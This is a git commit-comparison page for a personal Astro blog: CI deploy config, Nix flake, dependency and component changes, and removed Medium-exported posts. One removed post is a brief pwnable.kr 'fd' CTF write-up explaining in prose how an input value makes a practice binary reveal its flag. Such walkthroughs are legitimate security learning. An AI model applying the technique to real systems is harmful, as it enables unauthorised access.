Compare commits

..

3 commits

Author SHA1 Message Date
77825d652f fix
Some checks failed
ci/woodpecker/push/woodpecker Pipeline failed
2024-09-26 18:15:32 -05:00
439eabd69f add rss auto discovery
Some checks failed
ci/woodpecker/push/woodpecker Pipeline failed
2024-09-26 18:14:27 -05:00
7a1b2b9787 trying to get typst rendering working for svgs
Some checks failed
ci/woodpecker/push/woodpecker Pipeline failed
2024-09-26 18:09:45 -05:00
55 changed files with 316 additions and 1910 deletions

View file

@ -1,3 +0,0 @@
{
"npm.packageManager": "pnpm"
}

26
.woodpecker.yml Normal file
View file

@ -0,0 +1,26 @@
steps:
build:
image: git.mzhang.io/michael/blog-docker-builder:x0m1c7r2qzc3qbyw8sfv5flfv75xiqdz
environment:
- ASTRO_TELEMETRY_DISABLED=1
commands:
- mkdir /tmp
- rm -rf node_modules
- npm i -g pnpm@9.4.0
- npx pnpm install --frozen-lockfile
- npx pnpm run build
when:
- event: push
deploy:
image: git.mzhang.io/michael/blog-docker-builder:x0m1c7r2qzc3qbyw8sfv5flfv75xiqdz
commands:
- echo "$${SSH_SECRET_KEY}" > SSH_SECRET_KEY
- chmod 600 SSH_SECRET_KEY
- mkdir -p ~/.ssh
- echo "mzhang.io ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO+RKFYjD8UjqhfOHFHNyijkbGzC4fJEIIhrBwHj+FsQ" >> known_hosts
- rsync -azrP -e "ssh -i SSH_SECRET_KEY -o UserKnownHostsFile=known_hosts" dist/ blogDeploy@mzhang.io:/home/blogDeploy/public
secrets: [SSH_SECRET_KEY]
when:
- branch: master
event: push

View file

@ -1,27 +0,0 @@
steps:
build:
image: git.mzhang.io/michael/blog-docker-builder:6gzd1rhcl41y02yw4z9kpjgrhxifqyfs
environment:
- ASTRO_TELEMETRY_DISABLED=1
commands:
- mkdir /tmp
- rm -rf node_modules
- npm i -g pnpm@9.4.0
- npx pnpm install --frozen-lockfile
- npx pnpm run build
when:
- event: push
deploy:
image: git.mzhang.io/michael/blog-docker-builder:6gzd1rhcl41y02yw4z9kpjgrhxifqyfs
commands:
- mc alias set $AWS_DEFAULT_REGION $AWS_ENDPOINT_URL $AWS_ACCESS_KEY_ID $AWS_SECRET_ACCESS_KEY --api S3v4
- mc mirror --overwrite ./dist/ $AWS_DEFAULT_REGION/mzhang-io-website/
secrets:
- AWS_ACCESS_KEY_ID
- AWS_DEFAULT_REGION
- AWS_ENDPOINT_URL
- AWS_SECRET_ACCESS_KEY
when:
- branch: master
event: push

View file

@ -2,4 +2,4 @@
https://mzhang.io
License: GPL-3.0 code / CC-BY-SA-4.0 contents
License: GPL-3.0 / CC-BY-SA-4.0

BIN
bun.lockb

Binary file not shown.

View file

@ -3,16 +3,14 @@
"agda": {
"inputs": {
"flake-parts": "flake-parts",
"nixpkgs": [
"nixpkgs"
]
"nixpkgs": "nixpkgs"
},
"locked": {
"lastModified": 1729253305,
"narHash": "sha256-S7/C8VGMrXeGhFeYXx1cVBjZlNVB5L1o/SkW0hFm0Jc=",
"lastModified": 1719426791,
"narHash": "sha256-jiPGzJM+XMwb1OwyxpbY6jV0Lzr5yLKnPSMZbueFNRM=",
"owner": "agda",
"repo": "agda",
"rev": "3425ed5543d2e6f98094b834fedcdec3a2fb67a6",
"rev": "777b07f573c7526d677c18c25e44b24a849bc03b",
"type": "github"
},
"original": {
@ -44,11 +42,11 @@
"systems": "systems"
},
"locked": {
"lastModified": 1726560853,
"narHash": "sha256-X6rJYSESBVr3hBoH0WbKE5KvhPU5bloyZ2L4K60/fPQ=",
"lastModified": 1710146030,
"narHash": "sha256-SZ5L6eA7HJ/nmkzGG7/ISclqe6oZdOZTNoesiInkXPQ=",
"owner": "numtide",
"repo": "flake-utils",
"rev": "c1dfcf08411b08f6b8615f7d8971a2bfa81d5e8a",
"rev": "b1d9ab70662946ef0850d488da1c9019f3a9752a",
"type": "github"
},
"original": {
@ -58,16 +56,18 @@
},
"nixpkgs": {
"locked": {
"lastModified": 1729265718,
"narHash": "sha256-4HQI+6LsO3kpWTYuVGIzhJs1cetFcwT7quWCk/6rqeo=",
"lastModified": 1702346276,
"narHash": "sha256-eAQgwIWApFQ40ipeOjVSoK4TEHVd6nbSd9fApiHIw5A=",
"owner": "NixOS",
"repo": "nixpkgs",
"rev": "ccc0c2126893dd20963580b6478d1a10a4512185",
"rev": "cf28ee258fd5f9a52de6b9865cdb93a1f96d09b7",
"type": "github"
},
"original": {
"id": "nixpkgs",
"type": "indirect"
"owner": "NixOS",
"ref": "nixos-23.11",
"repo": "nixpkgs",
"type": "github"
}
},
"nixpkgs-lib": {
@ -88,11 +88,25 @@
"type": "github"
}
},
"nixpkgs_2": {
"locked": {
"lastModified": 1718089647,
"narHash": "sha256-COO4Xk2EzlZ3x9KCiJildlAA6cYDSPlnY8ms7pKl2Iw=",
"owner": "NixOS",
"repo": "nixpkgs",
"rev": "f7207adcc68d9cafa29e3cd252a18743ae512c6a",
"type": "github"
},
"original": {
"id": "nixpkgs",
"type": "indirect"
}
},
"root": {
"inputs": {
"agda": "agda",
"flake-utils": "flake-utils",
"nixpkgs": "nixpkgs"
"nixpkgs": "nixpkgs_2"
}
},
"systems": {

View file

@ -1,13 +1,12 @@
{
inputs.agda.url = "github:agda/agda";
inputs.agda.inputs.nixpkgs.follows = "nixpkgs";
outputs = { self, nixpkgs, flake-utils, agda, }:
flake-utils.lib.eachDefaultSystem (system:
let
pkgs = import nixpkgs { inherit system; overlays = [ agda.overlays.default ]; };
pkgs = import nixpkgs { inherit system; };
agda-pkg = agda.packages.x86_64-linux.default;
flakePkgs = rec {
agda-bin = pkgs.callPackage ./nix/agda-bin.nix { agda-pkg = pkgs.haskellPackages.Agda.bin; };
agda-bin = pkgs.callPackage ./nix/agda-bin.nix { inherit agda-pkg; };
docker-builder =
pkgs.callPackage ./nix/docker-builder.nix { inherit agda-bin; };
};
@ -19,9 +18,13 @@
packages = with pkgs;
with flakePkgs; [
bun
woodpecker-cli
nixfmt-rfc-style
dive
nix-tree
vips
shellcheck
agda-bin
nodejs_20
corepack

View file

@ -6,8 +6,8 @@ let
writeTextFile {
name = "agda-libraries";
text = ''
${agdaPackages.cubical.src}/cubical.agda-lib
${agdaPackages.standard-library.src}/standard-library.agda-lib
${agdaPackages.cubical}/cubical.agda-lib
${agdaPackages.standard-library}/standard-library.agda-lib
'';
};

View file

@ -1,15 +1,13 @@
{ dockerTools
, agda-bin
, bash
, corepack
, coreutils
, gitMinimal
, gnused
, minio-client
, nodejs_20
, openssh
, pkgsLinux
, rsync
, openssh
, bash
, coreutils
, nodejs_20
, gnused
, pkgsLinux
}:
dockerTools.buildLayeredImage {
@ -17,18 +15,16 @@ dockerTools.buildLayeredImage {
contents = with dockerTools; [
agda-bin
bash
caCertificates
corepack
coreutils
fakeNss
gitMinimal
gnused
minio-client
nodejs_20
openssh
rsync
openssh
bash
coreutils
nodejs_20
gnused
usrBinEnv
caCertificates
fakeNss
];
# fakeRootCommands = ''

View file

@ -15,7 +15,7 @@
"@astrojs/markdoc": "^0.11.1",
"@astrojs/markdown-remark": "^5.1.1",
"@astrojs/mdx": "^1.1.5",
"@astrojs/rss": "^3.0.0",
"@astrojs/rss": "^4.0.7",
"@astrojs/sitemap": "^3.1.6",
"@justfork/rehype-autolink-headings": "^5.1.1",
"astro": "^3.6.5",
@ -34,13 +34,11 @@
"remark-github-beta-blockquote-admonitions": "^2.2.1",
"remark-math": "^5.1.1",
"remark-parse": "^10.0.2",
"sanitize-html": "^2.13.1",
"sharp": "^0.33.4"
},
"devDependencies": {
"@biomejs/biome": "^1.8.2",
"@types/lodash-es": "^4.17.12",
"@types/sanitize-html": "^2.13.0",
"date-fns": "^2.30.0",
"hast-util-from-html": "^2.0.1",
"hast-util-to-html": "^9.0.1",

View file

@ -32,7 +32,7 @@ const remarkAgda: RemarkPlugin = ({ base, publicDir }: Options) => {
const path: string = history[history.length - 1]!;
if (!(path.endsWith(".lagda.md") || path.endsWith(".agda"))) return;
// console.log("AGDA:processing path", path);
console.log("AGDA:processing path", path);
const tempDir = mkdtempSync(join(tmpdir(), "agdaRender."));
const agdaOutDir = join(tempDir, "output");
@ -94,7 +94,6 @@ const remarkAgda: RemarkPlugin = ({ base, publicDir }: Options) => {
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<link rel="stylesheet" href="${base}generated/agda/Agda.css" />
</head>
<body>
@ -110,7 +109,10 @@ const remarkAgda: RemarkPlugin = ({ base, publicDir }: Options) => {
}
}
const htmlname = basename(resolve(outputFile)).replace(/(\.lagda)?\.md/, ".html");
const htmlname = basename(resolve(outputFile)).replace(
/(\.lagda)?\.md/,
".html",
);
const doc = readFileSync(outputFile);
@ -166,7 +168,9 @@ const remarkAgda: RemarkPlugin = ({ base, publicDir }: Options) => {
} catch (e) {
// TODO: Figure out a way to handle this correctly
// Possibly by diffing?
console.log("Mismatch in number of args. Perhaps there was an empty block?");
console.log(
"Mismatch in number of args. Perhaps there was an empty block?",
);
}
};
};

View file

@ -1,10 +1,10 @@
import getReadingTime from "reading-time";
import { toString as mdastToString } from "mdast-util-to-string";
import { toString } from "mdast-util-to-string";
import type { RemarkPlugin } from "@astrojs/markdown-remark";
const remarkReadingTime: RemarkPlugin = () => {
return (tree, { data }) => {
const textOnPage = mdastToString(tree);
const textOnPage = toString(tree);
const readingTime = getReadingTime(textOnPage);
// readingTime.text will give us minutes read as a friendly string,

View file

@ -1,39 +1,55 @@
import type { RemarkPlugin } from "@astrojs/markdown-remark";
import { mkdtempSync, readFileSync, writeFileSync } from "node:fs";
import { visit } from "unist-util-visit";
import { join } from "node:path";
import { join, resolve, dirname } from "node:path";
import { spawnSync } from "node:child_process";
import { tmpdir } from "node:os";
import { readdir, copyFile } from "node:fs/promises";
const remarkTypst: RemarkPlugin = () => {
const tmp = mkdtempSync(join(tmpdir(), "typst"));
let ctr = 0;
return (tree) => {
return async (tree, { history }) => {
const path: string = resolve(history[history.length - 1]!);
const dir = dirname(path);
// Copy all the .typ files in the dir
for (const file of await readdir(dir)) {
console.log("checking", file);
if (file.endsWith(".typ")) {
const src = resolve(join(dir, file));
const dst = resolve(join(tmp, file));
console.log("copying", src, dst);
await copyFile(src, dst);
}
}
visit(
tree,
(node) => node.type === "code" && node.lang === "typst",
(node, index, parent) => {
const doc = join(tmp, `${ctr}.typ`);
const docOut = join(tmp, `${ctr}.svg`);
const doc = resolve(join(tmp, `${ctr}.typ`));
const docOut = resolve(join(tmp, `${ctr}.svg`));
ctr += 1;
writeFileSync(doc, node.value);
const result = spawnSync(
"typst",
[
"compile",
"--format",
"svg",
doc,
],
{},
);
const result = spawnSync("typst", [
"compile",
"--format",
"svg",
doc,
docOut,
]);
console.log("OUTPUT", result.stderr.toString());
const svgOut = readFileSync(docOut);
node.type = "html";
node.value = svgOut.toString();
node.value = `
<div class="svg">
${svgOut.toString()}
</div>
`;
},
);
};

View file

@ -18,8 +18,8 @@ importers:
specifier: ^1.1.5
version: 1.1.5(astro@3.6.5(@types/node@20.14.9)(sass@1.77.6))
'@astrojs/rss':
specifier: ^3.0.0
version: 3.0.0
specifier: ^4.0.7
version: 4.0.7
'@astrojs/sitemap':
specifier: ^3.1.6
version: 3.1.6
@ -74,9 +74,6 @@ importers:
remark-parse:
specifier: ^10.0.2
version: 10.0.2
sanitize-html:
specifier: ^2.13.1
version: 2.13.1
sharp:
specifier: ^0.33.4
version: 0.33.4
@ -87,9 +84,6 @@ importers:
'@types/lodash-es':
specifier: ^4.17.12
version: 4.17.12
'@types/sanitize-html':
specifier: ^2.13.0
version: 2.13.0
date-fns:
specifier: ^2.30.0
version: 2.30.0
@ -169,8 +163,8 @@ packages:
resolution: {integrity: sha512-Z9IYjuXSArkAUx3N6xj6+Bnvx8OdUSHA8YoOgyepp3+zJmtVYJIl/I18GozdJVW1p5u/CNpl3Km7/gwTJK85cw==}
engines: {node: ^18.17.1 || ^20.3.0 || >=21.0.0}
'@astrojs/rss@3.0.0':
resolution: {integrity: sha512-PMX8iqByk9gtOrusikten/oF5uHjOCZigL6RuXFBUu+xtdKQxXzfIohJ99V2haA4FJjVDyibDTGzXR81POBMxQ==}
'@astrojs/rss@4.0.7':
resolution: {integrity: sha512-ZEG55XFB19l+DplUvBISmz04UbjDtKliRO4Y5+ERRhAMjgCVVobEBNE6ZwWG1h6orWUocy4nfPihKXDyB73x9g==}
'@astrojs/sitemap@3.1.6':
resolution: {integrity: sha512-1Qp2NvAzVImqA6y+LubKi1DVhve/hXXgFvB0szxiipzh7BvtuKe4oJJ9dXSqaubaTkt4nMa6dv6RCCAYeB6xaQ==}
@ -1174,9 +1168,6 @@ packages:
'@types/parse5@6.0.3':
resolution: {integrity: sha512-SuT16Q1K51EAVPz1K29DJ/sXjhSQ0zjvsypYJ6tlwVsRV9jwW5Adq2ch8Dq8kDBCkYnELS7N7VNCSB5nC56t/g==}
'@types/sanitize-html@2.13.0':
resolution: {integrity: sha512-X31WxbvW9TjIhZZNyNBZ/p5ax4ti7qsNDBDEnH4zAgmEh35YnFD1UiS6z9Cd34kKm0LslFW0KPmTQzu/oGtsqQ==}
'@types/sax@1.2.7':
resolution: {integrity: sha512-rO73L89PJxeYM3s3pPPjiPgVVcymqU490g0YO5n5By0k2Erzj6tay/4lr1CHAAU4JyOWd1rpQ8bCf6cZfHU96A==}
@ -1466,10 +1457,6 @@ packages:
resolution: {integrity: sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==}
engines: {node: '>=4.0.0'}
deepmerge@4.3.1:
resolution: {integrity: sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==}
engines: {node: '>=0.10.0'}
dequal@2.0.3:
resolution: {integrity: sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==}
engines: {node: '>=6'}
@ -1573,10 +1560,6 @@ packages:
resolution: {integrity: sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==}
engines: {node: '>=0.8.0'}
escape-string-regexp@4.0.0:
resolution: {integrity: sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==}
engines: {node: '>=10'}
escape-string-regexp@5.0.0:
resolution: {integrity: sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==}
engines: {node: '>=12'}
@ -1824,9 +1807,6 @@ packages:
html-void-elements@3.0.0:
resolution: {integrity: sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==}
htmlparser2@8.0.2:
resolution: {integrity: sha512-GYdjWKDkbRLkZ5geuHs5NY1puJ+PXwP7+fHPRz06Eirsb9ugf6d8kkXav6ADhcODhFFPMIXyxkxSuMf3D6NCFA==}
htmlparser2@9.1.0:
resolution: {integrity: sha512-5zfg6mHUoaer/97TxnGpxmbR7zJtPwIYFMZ/H5ucTlPZhKvtum05yiPK3Mgai3a0DyVxv7qYqoweaEd2nrYQzQ==}
@ -1937,10 +1917,6 @@ packages:
resolution: {integrity: sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==}
engines: {node: '>=12'}
is-plain-object@5.0.0:
resolution: {integrity: sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==}
engines: {node: '>=0.10.0'}
is-reference@3.0.2:
resolution: {integrity: sha512-v3rht/LgVcsdZa3O2Nqs+NMowLOxeOm7Ay9+/ARQ2F+qEoANRcqrjAZKGN0v8ymUetZGgkp26LTnGT7H0Qo9Pg==}
@ -2533,9 +2509,6 @@ packages:
parse-latin@7.0.0:
resolution: {integrity: sha512-mhHgobPPua5kZ98EF4HWiH167JWBfl4pvAIXXdbaVohtK7a6YBOy56kvhCqduqyo/f3yrHFWmqmiMg/BkBkYYQ==}
parse-srcset@1.0.2:
resolution: {integrity: sha512-/2qh0lav6CmI15FzA3i/2Bzk2zCgQhGMkvhOhKNcBVQ1ldgpbfiNTVslmooUmWJcADi1f1kIeynbDRVzNlfR6Q==}
parse5@6.0.1:
resolution: {integrity: sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==}
@ -2801,9 +2774,6 @@ packages:
safer-buffer@2.1.2:
resolution: {integrity: sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==}
sanitize-html@2.13.1:
resolution: {integrity: sha512-ZXtKq89oue4RP7abL9wp/9URJcqQNABB5GGJ2acW1sdO8JTVl92f4ygD7Yc9Ze09VAZhnt2zegeU0tbNsdcLYg==}
sass-formatter@0.7.9:
resolution: {integrity: sha512-CWZ8XiSim+fJVG0cFLStwDvft1VI7uvXdCNJYXhDvowiv+DsbD1nXLiQ4zrE5UBvj5DWZJ93cwN0NX5PMsr1Pw==}
@ -3374,7 +3344,7 @@ snapshots:
dependencies:
prismjs: 1.29.0
'@astrojs/rss@3.0.0':
'@astrojs/rss@4.0.7':
dependencies:
fast-xml-parser: 4.4.0
kleur: 4.1.5
@ -4283,10 +4253,6 @@ snapshots:
'@types/parse5@6.0.3': {}
'@types/sanitize-html@2.13.0':
dependencies:
htmlparser2: 8.0.2
'@types/sax@1.2.7':
dependencies:
'@types/node': 17.0.45
@ -4632,8 +4598,6 @@ snapshots:
deep-extend@0.6.0:
optional: true
deepmerge@4.3.1: {}
dequal@2.0.3: {}
detect-libc@1.0.3:
@ -4779,8 +4743,6 @@ snapshots:
escape-string-regexp@1.0.5: {}
escape-string-regexp@4.0.0: {}
escape-string-regexp@5.0.0: {}
esprima@4.0.1: {}
@ -5167,13 +5129,6 @@ snapshots:
html-void-elements@3.0.0: {}
htmlparser2@8.0.2:
dependencies:
domelementtype: 2.3.0
domhandler: 5.0.3
domutils: 3.1.0
entities: 4.5.0
htmlparser2@9.1.0:
dependencies:
domelementtype: 2.3.0
@ -5260,8 +5215,6 @@ snapshots:
is-plain-obj@4.1.0: {}
is-plain-object@5.0.0: {}
is-reference@3.0.2:
dependencies:
'@types/estree': 1.0.5
@ -6305,8 +6258,6 @@ snapshots:
unist-util-visit-children: 3.0.0
vfile: 6.0.1
parse-srcset@1.0.2: {}
parse5@6.0.1: {}
parse5@7.1.2:
@ -6692,15 +6643,6 @@ snapshots:
safer-buffer@2.1.2: {}
sanitize-html@2.13.1:
dependencies:
deepmerge: 4.3.1
escape-string-regexp: 4.0.0
htmlparser2: 8.0.2
is-plain-object: 5.0.0
parse-srcset: 1.0.2
postcss: 8.4.38
sass-formatter@0.7.9:
dependencies:
suf-log: 2.5.3

Binary file not shown.

Before

Width:  |  Height:  |  Size: 136 KiB

View file

@ -1,3 +1,2 @@
User-agent: *
Allow: /
Disallow: /drafts
Allow: /

View file

@ -1,27 +1,16 @@
---
import "../styles/footer.scss";
import { execSync } from "node:child_process";
const dateUpdated = new Date();
const gitRevShort = execSync("git rev-parse --short HEAD").toString().trim();
const gitRev = execSync("git rev-parse HEAD").toString().trim();
---
<footer>
<p>
Blog theme and contents written by Michael Zhang with the <a
href="https://astro.build/"
target="_blank"
rel="noreferrer noopener">Astro</a
> framework.
<br />
Last updated {dateUpdated.toLocaleString(undefined, { dateStyle: "full" })} at commit
<a
href={`https://git.mzhang.io/michael/blog/commit/${gitRev}`}
class="colorlink"
target="_blank">{gitRevShort}</a
Blog code licensed under <a href="https://www.gnu.org/licenses/gpl-3.0.txt" target="_blank"
>GPL-3.0</a
>. Post contents licensed under <a
href="https://creativecommons.org/licenses/by-sa/4.0/legalcode.txt">CC BY-SA 4.0</a
>.
<br />
<a href="https://git.mzhang.io/michael/blog" class="colorlink" target="_blank">Source code</a>.
Written by Michael Zhang.
<a href="https://git.mzhang.io/michael/blog" class="colorlink" target="_blank">Source</a>.
</p>
</footer>

View file

@ -5,14 +5,13 @@ import links from "../data/links";
import { Image } from "astro:assets";
import portrait from "../assets/self.png";
// const target = Astro.url.pathname === "/" ? "/about/" : "/";
const target = "/";
const target = Astro.url.pathname === "/" ? "/about/" : "/";
---
<nav class="side-nav">
<div class="side-nav-content">
<a href={target} class="portrait" data-astro-prefetch>
<Image src={portrait} alt="portrait" class="portrait" width={350} height={350} loading="eager" />
<Image src={portrait} alt="portrait" class="portrait" />
</a>
<div class="me">
<div class="titleContainer">
@ -20,9 +19,16 @@ const target = "/";
<a href={target} data-astro-prefetch>Michael Zhang</a>
</h1>
</div>
<div class="links">
<a href="/about/">About</a>
{
links.map((link) => {
return (
<a href={link.url} title={link.description}>
{link.name}
</a>
);
})
}
</div>
</div>

View file

@ -1,5 +1,5 @@
// Place any global data in this file.
// You can import this data from anywhere in your site by using the `import` keyword.
export const SITE_TITLE = "Michael's Blog";
export const SITE_DESCRIPTION = "Michael's Blog";
export const SITE_TITLE = "Astro Blog";
export const SITE_DESCRIPTION = "Welcome to my website!";

View file

@ -1,5 +1,15 @@
I'm a computer science master's student at the [University of Minnesota][1], advised by [Favonia].
My current research is in programming languages and formal methods, specifically cubical type theory and synthetic homotopy theory.
My current research topic is in cubical type theory and formalization of the Serre spectral sequence.
I've also worked as a researcher for [SIFT], specializing in compilers and binary analysis. Previously I worked as a software engineer at [Swoop Search] and [AWS].
Before that, I was a CTF hobbyist. I created [EasyCTF], a cybersecurity competition for high schoolers.
I also briefly played with the CTF team [Project Sekai][pjsk].
[1]: https://twin-cities.umn.edu/
[Swoop Search]: https://swoopsrch.com/
[aws]: https://aws.amazon.com/
[sift]: https://www.sift.net/
[favonia]: https://favonia.org/
[easyctf]: https://www.easyctf.com/
[pjsk]: https://sekai.team/

View file

@ -1,31 +0,0 @@
---
title: How to accomplish something.
date: 2014-12-28T06:18:06.940Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="subtitle" class="p-summary">
Its really simple.
</section>
<section data-field="body" class="e-content">
<section name="d840" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="c074" id="c074" class="graf graf--p graf-after--h3">Dont.</p>
<p name="8add" id="8add" class="graf graf--p graf-after--p">Give.</p>
<p name="2290" id="2290" class="graf graf--p graf-after--p">Up.</p>
<p name="6014" id="6014" class="graf graf--p graf-after--p graf--trailing">Simple.</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/f5c2ca623a76"><time class="dt-published"
datetime="2014-12-28T06:18:06.940Z">December 28, 2014</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/how-to-accomplish-something-f5c2ca623a76"
class="p-canonical">Canonical link</a></p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

View file

@ -1,74 +0,0 @@
---
title: A Much-Needed Apology
date: 2015-03-19T23:34:26.674Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="276e" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="cbee" id="cbee" class="graf graf--p graf-after--h3">If youre participating in CTCTF this week, I
know it has been a hard week, and I have a huge apology to make, about several things.</p>
<p name="aa08" id="aa08" class="graf graf--p graf-after--p">I should not have helped out with this CTF. I
didnt have much time to work on it, I was busy with school, and it really wasnt a good time for me to be
doing it. However, I was really stupid so I decided to jump in anyway.</p>
<p name="def7" id="def7" class="graf graf--p graf-after--p"><strong
class="markup--strong markup--p-strong">If youre in a rush, and you dont care about all this stuff,
skip down to the bottom for the final hint.</strong></p>
<h4 name="dae6" id="dae6" class="graf graf--h4 graf-after--p">Backend</h4>
<p name="a52e" id="a52e" class="graf graf--p graf-after--h4">The website backend problems were completely my
fault. Things like the problems page saying your problem was unsolved when you actually received points
for it, or not being able to submit answers for problems because it said “Youve already tried this.” Part
of this was not havingenough time to thoroughly test the server and catch all the problems.</p>
<h4 name="a9f0" id="a9f0" class="graf graf--h4 graf-after--p">IRC</h4>
<p name="6939" id="6939" class="graf graf--p graf-after--h4">This really isnt my problem. But Ill address
it anyway. The biggest problem was the choice of using Pdgn server. It works well for its purpose, and
does serve all its values. But it was too underdeveloped to use in an actual CTF, lacking features
including:</p>
<ul class="postList">
<li name="c5b2" id="c5b2" class="graf graf--li graf-after--p">Authenticationpeople just stole other
peoples usernames.</li>
<li name="379e" id="379e" class="graf graf--li graf-after--li">Operatorswe lost all ops in the original
channel <em class="markup--em markup--li-em">and</em> the new channel.</li>
<li name="033c" id="033c" class="graf graf--li graf-after--li">Connection issues—we got lots of ECONNRESET
issues with KiwiIRC.</li>
</ul>
<h4 name="dd66" id="dd66" class="graf graf--h4 graf-after--li">Problems</h4>
<p name="1114" id="1114" class="graf graf--p graf-after--h4">I dont know what to say about this. I urged
the other team members to shorten the duration of the competition to 3 days, but they wouldnt budge, so
we ended up having a 7-day competition with only 20 easy problems. My friend said he solved all but 2 of
them in an hour.</p>
<p name="e3aa" id="e3aa" class="graf graf--p graf-after--p">We werent even going to use 1023megabytes
originally. But because of the immediate lack of problems, I figured we would need it.</p>
<p name="ebdb" id="ebdb" class="graf graf--p graf-after--p">When the competition started, there were only 18
questions up. I wrote “3 hard 3 me” in about 15 minutes during class. If youre running a competition,
youd want to keep your participants interests as long as possible; theres no point if everyone quits
after a daywhich is basically what happened.</p>
<p name="6d7d" id="6d7d" class="graf graf--p graf-after--p">I figured the purpose of creating such an
insanely BS problem was to keep people interested in the CTF, but also to keep the mods (who are on the
verge of quitting) motivated to keep going. I originally planned to give a lot of hints, and here is the
last one.</p>
<h4 name="110a" id="110a" class="graf graf--h4 graf-after--p">Hints</h4>
<p name="a74e" id="a74e" class="graf graf--p graf-after--h4">This is the final hint for “3 hard 3 me”: base
16, base 2, base 3.</p>
<p name="25ea" id="25ea" class="graf graf--p graf-after--p">For 1023megabytes, you probably already made
some connection between me and a group called the Donut Mafia. Try to find our fundraising website, and
the flag will be on a userpage.</p>
<p name="a67a" id="a67a" class="graf graf--p graf-after--p graf--trailing">I feel like I owe this to
everyone for a bad competition and hope you forgive me for all these mistakes. They wont happen again. I
guess Ill see you guys at the next CTF.</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/8f50537a8932"><time class="dt-published" datetime="2015-03-19T23:34:26.674Z">March
19, 2015</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/a-much-needed-apology-8f50537a8932" class="p-canonical">Canonical
link</a></p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

View file

@ -1,44 +0,0 @@
---
title: "Pwnable.kr: fd (1)"
date: 2015-10-20T18:20:38.431Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="1d23" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="ec7e" id="ec7e" class="graf graf--p graf-after--h3">This is my first writeup. The problem reads:
</p>
<blockquote name="b33e" id="b33e" class="graf graf--blockquote graf-after--p">Mommy! what is a file
descriptor in Linux?<br>ssh fd@pwnable.kr -p2222 (pw:guest)</blockquote>
<p name="0cc2" id="0cc2" class="graf graf--p graf-after--blockquote">Since it tells us to SSH to their
server, well do that. Upon logging in, we find fd, an executable binary, fd.c, the source file, and flag,
the target file we are trying to read, but is currently protected by root. Lets begin by analyzing fd.c.
</p>
<p name="3ba1" id="3ba1" class="graf graf--p graf-after--p">At the if statement, the program is checking buf
against the string LETMEWIN. Where is buf being read? Its being read from a variable called fd, which is
a <a href="https://en.wikipedia.org/wiki/File_descriptor"
data-href="https://en.wikipedia.org/wiki/File_descriptor" class="markup--anchor markup--p-anchor"
rel="noopener" target="_blank"><strong class="markup--strong markup--p-strong">file
descriptor</strong></a>. Since the only way we can give input to the program is STDIN_FILENO, we have
to make sure fd is set to 0.</p>
<p name="a905" id="a905" class="graf graf--p graf-after--p">According to the code, fd is calculated by atoi(
argv[1] )0x1234: it converts the user input into an integer and subtracts 0x1234, or 4660 in decimal.
To make fd equal to 0, we simply pass 4660 as an argument. This should cause the program to prompt us for
input. Now we just enter LETMEWIN, and it should print out the flag :)</p>
<blockquote name="8dca" id="8dca" class="graf graf--blockquote graf-after--p graf--trailing">mommy! I think
I know what a file descriptor is!!</blockquote>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/f9b66ed3a312"><time class="dt-published"
datetime="2015-10-20T18:20:38.431Z">October 20, 2015</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/pwnable-kr-fd-1-f9b66ed3a312" class="p-canonical">Canonical link</a></p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

View file

@ -1,34 +0,0 @@
---
